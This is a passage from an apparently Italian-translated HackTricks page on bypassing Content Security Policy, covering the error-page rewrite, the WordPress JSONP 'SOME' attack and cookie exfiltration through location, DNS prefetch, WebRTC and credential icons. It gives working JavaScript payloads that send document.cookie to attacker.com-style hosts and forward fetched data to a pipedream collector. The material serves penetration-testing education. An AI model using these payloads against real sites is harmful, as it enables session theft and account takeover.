# Warning: Cannot modify header information - headers already sent

Riscrivere la pagina di errore

Da this writeup sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME è una tecnica che sfrutta una XSS (o una XSS altamente limitata) in an endpoint of a page per abuse other endpoints of the same origin. Questo si ottiene caricando l'endpoint vulnerabile da una attacker page e poi ricaricando la attacker page verso il real endpoint nello stesso origin che si vuole abusare. In questo modo il vulnerable endpoint può usare l'oggetto opener nel payload per access the DOM del real endpoint to abuse. Per maggiori informazioni consulta:

SOME - Same Origin Method Execution

Inoltre, wordpress ha un endpoint JSONP in /wp-json/wp/v2/users/1?_jsonp=data che reflect i data inviati nell'output (con la limitazione di solo lettere, numeri e punti).

Un attacker può abuse quell'endpoint per generate a SOME attack contro WordPress e embed questo dentro <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota che questo script verrà loaded perché è allowed by 'self'. Inoltre, e poiché WordPress è installato, un attacker potrebbe abuse il SOME attack tramite il vulnerable callback endpoint che bypasses the CSP per dare più privilegi a un utente, installare un nuovo plugin...
Per maggiori informazioni su come eseguire questo attacco vedi https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

If there is a strict CSP that doesn't allow you to interact with external servers, there are some things you can always do to exfiltrate the information.

Location

Potresti semplicemente aggiornare la location per inviare al server dell'attacker le informazioni segrete:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Puoi reindirizzare iniettando un meta tag (questo è solo un redirect, questo non farà leak di contenuto)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Per caricare le pagine più velocemente, i browser risolvono in anticipo i nomi host in indirizzi IP e li memorizzano nella cache per un uso successivo.
Puoi indicare a un browser di risolvere in anticipo un hostname con: <link rel="dns-prefetch" href="something.com">

Puoi abusare di questo comportamento per esfiltrare informazioni sensibili tramite richieste DNS:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Un altro modo:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Per evitare che ciò accada il server può inviare l'HTTP header:

X-DNS-Prefetch-Control: off

tip

A quanto pare, questa tecnica non funziona in headless browsers (bots)

WebRTC

Su diverse pagine puoi leggere che WebRTC non verifica la policy connect-src della CSP.

In realtà puoi leak informazioni usando una DNS request. Guarda questo codice:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Un'altra opzione:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Il popup delle credenziali invia una richiesta DNS a iconURL senza essere vincolato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Verifica online delle policy CSP

Creazione automatica delle policy CSP

https://csper.io/docs/generating-content-security-policy

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks